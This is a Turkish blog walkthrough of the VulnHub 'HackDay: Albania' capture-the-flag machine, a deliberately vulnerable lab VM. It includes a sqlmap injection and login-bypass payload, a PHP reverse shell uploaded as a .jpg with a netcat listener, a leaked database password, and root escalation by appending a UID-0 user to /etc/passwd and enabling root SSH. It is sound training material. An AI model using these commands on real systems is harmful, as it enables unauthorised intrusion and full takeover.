HackDay: Albania Walkthrough

vulnhub.com sitesindeki HackDay: Albania isimli virtualbox imajını çözmeye çalışacağız.

Bridge modda hazırlanmış olan hedef makinemizi virtualbox’ta analiz yapacağımız diğer bir bridge moddaki sanal makinemiz ile birlikte başlatarak test edeceğiz.

Hedef makine hakkında bilgi toplama yöntemlerinden keşif, tarama ve erişimi sağlama adımlarını uygulayarak gizlenmiş olan bayrağı bulacağız.

 

  • Name: HackDay: Albania
  • Date release: 18 Nov 2016
  • AuthorR-73eN
  • Target: Get root access, find flag

 

* arp-scan network ip aralığını otomatik olarak tespit edip ağdaki makinelerin ip, mac ve makine adlarını listeler.

* 192.168.1.8 ip adresini tespit ettikten sonra açık portları ve erişilebilir durumdaki servisleri, nmap kullanarak tarayalım.

nmap -T4 -A -v 192.168.1.8

Kullandığımız parametreler:

Parametre Açıklama
-T4 Normalde -T3 normal modda tarama yapılır. -T4 ise agressive tarama olarak geçer ve makul derecede hızlı ve güvenilir bir ağda olduğunuzu varsayar.
-A OS tespiti, sürüm algılama, komut(script) dosyası tarama ve traceroute’u etkinleştirir
-v Ayrıntı(verbosity) düzeyini artırın (daha fazla etki için -vv veya daha fazlasını kullanın)

Daha fazla bilgi için: man7.org/linux/man-pages/man1/nmap.1.html

Ayrıca nmap kullanıcılara tarama yapabilecekleri bir subdomain de sunuyor:

scanme.nmap.org

 

* Taramada tcp 22 ve 8008 portların da ssh ve apache servislerinin çalıştığını tespit ettik ve işletim sisteminin linux olduğunu bulduk.

* Servislerin ve kernel’in versiyonları yeni olduğu için zafiyet bulamadık.

* 192.168.1.8:8008 adresini ziyaret ettiğimizde şöyle bir sayfa ile karşılaşıyoruz:

* Rami Malek karşılıyor bizi 🙂

* Penceredeki mesajı çevirdiğimizde “Eğer öyleysem, nereye gideceğimi biliyorum ;)” gibi bir mesaj çıkıyor.

* İleride bir mesaja dönüşebilir diye büyük harfleri not edelim. (“UNE”)

* 192.168.1.8:8008 kaynak kodunda “<!–OK ok, por jo ketu :)–>” : “Tamam tamam, ama burada değil” anlamında farklı dildeki kelimelerden oluşturulmuş mesajı bulduk.

* Yine büyük harfleri not edelim. (“OK”)

* html kodundan bulunan jquery-ui.css, jquery-3.1.1.min.js, jquery-ui.js kodları incelenebilir.

* jquery-ui.css de bulunan resimlerde steganografi araştırması yapılabilir.

background-image: url("images/ui-icons_444444_256x240.png");
background-image: url("images/ui-icons_444444_256x240.png");
background-image: url("images/ui-icons_555555_256x240.png");
background-image: url("images/ui-icons_ffffff_256x240.png");
background-image: url("images/ui-icons_777620_256x240.png");
background-image: url("images/ui-icons_cc0000_256x240.png");
background-image: url("images/ui-icons_777777_256x240.png");

beautifier.io sitesinden, bulunan javascript kodları okunaklı hale getirilip incelenebilir.

* nmap taramasında bulunan robots.txt dizini araştırılır ve yeni dizin isimleri elde edilir.

Disallow: /rkfpuzrahngvat/
Disallow: /slgqvasbiohwbu/
Disallow: /tmhrwbtcjpixcv/
Disallow: /vojtydvelrkzex/
Disallow: /wpkuzewfmslafy/
Disallow: /xqlvafxgntmbgz/
Disallow: /yrmwbgyhouncha/
Disallow: /zsnxchzipvodib/
Disallow: /atoydiajqwpejc/
Disallow: /bupzejbkrxqfkd/
Disallow: /cvqafkclsyrgle/
Disallow: /unisxcudkqjydw/
Disallow: /dwrbgldmtzshmf/
Disallow: /exschmenuating/
Disallow: /fytdinfovbujoh/
Disallow: /gzuejogpwcvkpi/
Disallow: /havfkphqxdwlqj/
Disallow: /ibwglqiryexmrk/
Disallow: /jcxhmrjszfynsl/
Disallow: /kdyinsktagzotm/
Disallow: /lezjotlubhapun/
Disallow: /mfakpumvcibqvo/
Disallow: /ngblqvnwdjcrwp/
Disallow: /ohcmrwoxekdsxq/
Disallow: /pidnsxpyfletyr/
Disallow: /qjeotyqzgmfuzs/

* Bu dizinleri awk kullanarak düzenleyelim ve erişilebilir linkleri oluşturalım. Daha sonra firefox’a parametre olarak verelim.

curl http://192.168.1.8:8008/robots.txt | awk '{print $2}' | awk '$0="http://192.168.1.8:8008"$0' > urls
firefox $(cat urls)

* Bir mesaj içeren dinozor resimlerine erişiyoruz.

* “A ESHTE KJO DIREKTORIA E DUHUR. APO PO HARXHOJ KOHEN KOT” mesajını çevirdiğimizde:

“Bu uygun dizin mi yoksa pis mi”

* Dizinlerin arasında tek farklı olan /unisxcudkqjydw/ ve “IS there any /vulnbank/ in there ???” mesajıyla karşılaşıyoruz. (IS) not ediyoruz.

* http://192.168.1.8:8008/unisxcudkqjydw/vulnbank/ adresinde dizin yapısıyla karşılaştık.

* http://192.168.1.8:8008/unisxcudkqjydw/vulnbank/client/login.php sayfasında bizi bir login form karşıladı.

* Sayfanın başlığında ve login butonunda büyük harflerle “SECURE” ve “IN” yazdığını fark edip not aldığımız kelimelerle birleştirince “OK UNE IS INSECURE” mesajına eriştik. Çevirisi: “Tamam bir güvensiz”.

* Kaynak kodu inceleyerek formun post ile gittiğini öğrendik.

* Şimdi sql injection deneyebiliriz.

* “‘” tırnak işareti ile test edince username alanında sqli tespit ettik ve bize mysql hatası verdi.

* /var/www/html/unisxcudkqjydw/vulnbank/client/config.php ile apache’nin html sayfalarını tuttuğu dizini ve istekleri işleyen config.php yi de görmüş olduk.

*sqlmap deneyelim:

sqlmap -u "http://192.168.1.8:8008/unisxcudkqjydw/vulnbank/client/login.php" --data="username=test&password=login" --dbms="MySQL" --risk=3 --level=3

* risk ve level kullanımı önemli. sqlmap’in hangi testleri yapacağını belirtir. Ayrıntılı bir tarama için maksimuma (–level=5 –risk=3) ayarlayabiliriz.

* “Kalan testler için, ‘MySQL’ için verilen seviye (3) değerine uzanan tüm testleri dahil etmek ister misiniz?” diye soruyor. Açık bulduğu için hayır diyoruz.

* Daha sonra sqlmap bir 302 kodlu index.php ye sayfa yönlendirmesi alıyor. “Bu yönlendirmeyi takip etmek ister misiniz?” diye soruyor. Bu, login sayfasındaki kimlik doğrulamayı başarılı bir şekilde atladığımızı gösteriyor. Hayır diyelim.
* “POST parametresi ‘kullanıcı adı’ savunmasız. Diğerlerini test etmeye devam etmek istiyor musunuz (varsa)?” hayır diyelim.

* Sqlmap ‘MySQL RLIKE boolean-based blind’ ve ‘AND/OR time-based blind’ açıklarını ve sunucu hakkında ayrıntılı bilgileri tespit etti. Kullandığı payload lara dikkat edelim.

(Bunları elle yapmak çok uzun sürdüğü için sqlmap’e ihtiyaç duyduğumuzu not düşelim.)

* Sqlmap her bir hedef için yapılan tarama işlemini ve sonucunu kaydeder ve tekrar taradığınızda hızlı bir şekilde kayıtları yansıtır. Eğer tarama sırasında istenmeyen bir seçenek girdiyseniz kullanıcının home dizininde bulunan hedefe ait kayıt dizinini silebilirsiniz:

rm -rf /root/.sqlmap/output/192.168.1.8

* Database okumaya çalıştığımızda hata alıyoruz.

sqlmap -u "http://192.168.1.8:8008/unisxcudkqjydw/vulnbank/client/login.php" --data="username=test&password=login" --dbms="MySQL" --risk=3 --level=3 --dbs

* Sqlmap in verdiği payload ile sisteme giriş yapabildik.

username=test' RLIKE SLEEP(0)-- qxYr&password=login

* Charles D. Hobson adına ait 25000 euro su olan birinin hesabı 🙂

* Destek kısmında bir dosya yükleme alanı var ve buraya php dosyası yükleyip reverse shell almaya çalışacağız.

* pentestmonkey‘in hazırlamış olduğu php reverse shell’i kullandım.

* reverse php dosyamızda ip alanını kendi ip adresimize göre ayarlayalım. Port kısmını ise netcat ile dinleyeceğiniz rasgele bir port numarası verebilirsiniz.

* php dosyası yüklediğimizde sadece resim dosya uzantılarına (jpg , jpeg , bmp etc) izin veriliyor uyarısı alıyoruz.

* Hata alsak ta ticket olarak mesajımızın eklendiğini görüyoruz.

* http://192.168.1.8:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=test.php adresinden php dosyasına ulaşmaya çalıştığımızda:
“Sadece fotoğrafların dahil edilmesine izin verilir. Hackerlar dan nefret ediyoruz.” Mesajını aldık.

* şimdi php uzantısını jpg yaparak deneyelim.

* reverse php kodunu çalıştırmadan önce netcat ile gelen bağlantıyı dinlemeye başlayalım:

netcat -lvnp 1234

 

Parametre Açıklama
-l Gelen bağlantıları dinle
-v Ayrıntı(verbosity) düzeyini artırın
-n dns kullanma sayısal ip adresleri kullan
-p port

* Yüklediğimiz dosyaya http://192.168.1.6:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=php-reverse-shell.jpg adresinden ulaştığımızda php dosyası işletilmeye başlıyor ve shell aldık.

* cat /etc/shells dosyasına bakarak sistemde erişilebilir shellleri listeliyoruz.

* whereis python komutu ile hangi python sürümlerinin yüklü olduğunu kontrol ediyoruz ve python kullanarak tty shell alacağız. Eğer python yüklü olmasaydı:

(script /dev/null -c bash) ile TTY kabuğu alacaktık.

python3.5 -c 'import pty;pty.spawn("/bin/bash")'

* Sistemde /var/www/html dizini altında config.php dosyasında mysql root kullanıcısının parolasını bulduk.

* Login olurken AND UNION gibi değerlerin nasıl filtrelendiğini görüyoruz.

* Sistemde yetki yükseltme adımlarını uygulayacağız.  g0tmi1k’in bloğundaki yazıyı okumanızı tavsiye ederim.

blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation

* /etc/passwd dosyasında taviso kullanıcısını buluyoruz ve www dizinindeki dosyalar ona ait.
* /etc/group dosyasında tavisonun sudo grubunda olduğunu gördük.
* mysql -u root -p’NuCiGoGo321′ ile mysql e bağlandık. (parolanın ile -p arasında boşluk olmayacak. Neden bilmiyorum 🙂 )

Kullandığım MySQL komutları:

show databases
use bank_database
show tables; SELECT * FROM klienti; SELECT * FROM tickets;

* MySQL veritabanından elde ettiğimiz jeff ve hobson kullanıcılarının parolaları ile ssh bağlantısı alamadık.

* İşleri hızlandırmak için LinEnum adlı ‘Scripted Local Linux Enumeration & Privilege Escalation Checks‘ scriptini kullanacağız.

* LineEnum sistem hakkında geniş kapsamlı bir tarama yapar.

* Hedef sisteme bash scripti indirip çalıştıralım.

cd /tmp
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

* Okunabilir ve yazılabilir dosyalar içerisinde kritik olan /etc/passwd yi bulduk. Buradan ilerleyebiliriz.

* (find / -writable -type f 2>/dev/null) yada (find / -type f -perm -o=w 2>/dev/null) ile de bulabilirdik.

* Yeni bir kullanıcı eklediğimizde o kullanıcıya ait parola shadow dosyasında gölgeli(hashli) olarak tutulur. Hedefte yeni bir kullanıcı ekle yemediğimize göre sadece passwd dosyasına yaza biliyorsak parolayı da passwd içerisine koymalıyız.

* Aynı parolayı kullansanız dahi her kullanıcı eklendiğinde shadow dosyasında parola için rastgele salt değeri sayesinde her defasında farklı bir hash değeri saklanır.

* Daha önceki linux sistemlerde parolalar passwd dosyasında cleartext olarak tutulmaktaydı ve dosyanın izinleri 644 olduğu için herkes tarafından okunabilmekteydi. Günümüzde ise artık passwd nin ikinci alanı ‘x’ ile ifade ediliyor ve hash değerleri shadow içerisinde saklanıyor izinler ise 640.

* passwd dosyasına cleartext parola yazamadığımız için yeni root kullanıcımız için parolayı hashlememiz gerekir.

* shadow dosyasını ele geçirmiş olsaydık johntheripper ile kırmayı deneyebilirdik. Şuan ki işimiz daha kolay.

* Hash değerimizi üretelim:

mkpasswd --method=sha-512 --salt=saltvalue 12345

* Her kullanıcıya bir kullanıcı kimliği (UID) atanmalıdır. UID 0 (sıfır) kök için ayrılmıştır. Bizim ekleyeceğimiz kullanıcıda sistemde en yetkili kullanıcı olan root haklarına sahip olabilmesi için UID ve GID lerini 0 yapmalıyız.

* Üretilen satır:

fahri314:$6$saltvalue$hyVYJc8OHgKO890aTUIepDYEH2V4C7N30ZYCus/OBjAz7Zs7x/PgKksG.qtzr25znNePmQlInM/B6oruFwJ3..:0:0:fahri314:/home/fahri314:/bin/bash

* ‘$’ karakterinin önüne kaçış karakteri ekleyip dosyaya yazalım:

echo "fahri314:\$6\$saltvalue\$hyVYJc8OHgKO890aTUIepDYEH2V4C7N30ZYCus/OBjAz7Zs7x/PgKksG.qtzr25znNePmQlInM/B6oruFwJ3..:0:0:fahri314:/home/fahri314:/bin/bash" >> /etc/passwd

* Eklediğimiz yetkili kullanıcıya geçiş yapalım:

su fahri314

* Sistemde root erişimi aldığımıza göre tty konsolundan kurtulup ssh oturumu alabiliriz.

* Varsayılan ayarlarda ssh root erişimine izin verilmez. Etkinleştirmek için sshd_config dosyasını düzenleyip servisi tekrar başlatmalıyız.

sed -i 's/prohibit-password/yes/' /etc/ssh/sshd_config
service sshd restart

* Terminale tam erişimimiz oldu. Artık sisteme tamamen hakimiz.

* Kök dizin altında flag değerini arayalım.

find / -name "*flag*" 2> /dev/null

* /root/flag.txt işte bulduk 🙂

* FLAG:
Urime,
Tani nis raportin!

d5ed38fdbf28bc4e58be142cf5a17cf5

* Karşılığı:
Tebrikler, şimdi rapor başlıyor!

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir